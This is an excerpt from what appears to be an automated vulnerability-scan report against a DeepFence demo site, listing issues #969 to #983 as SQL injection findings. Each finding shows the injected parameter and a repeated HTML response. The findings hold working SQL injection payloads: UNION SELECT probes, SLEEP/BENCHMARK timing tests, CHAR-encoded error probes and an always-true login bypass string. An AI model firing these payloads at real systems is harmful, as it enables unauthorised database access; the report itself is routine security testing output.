cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #969
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioAND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)
+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+
CHAR(107)))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #970
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #971
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #972
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #973
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #974
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT @@VERSION,USER(),SLEEP(5)--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #975
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioAND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR
(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(
116)+CHAR(69)+CHAR(65)))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #976
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #977
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #978
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io admin") or ("1"="1"#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #979Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioHAVING 1=0#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #980
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #981
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io' '
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #982
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io and (select substring(@@version,2,1))='y'
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #983
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
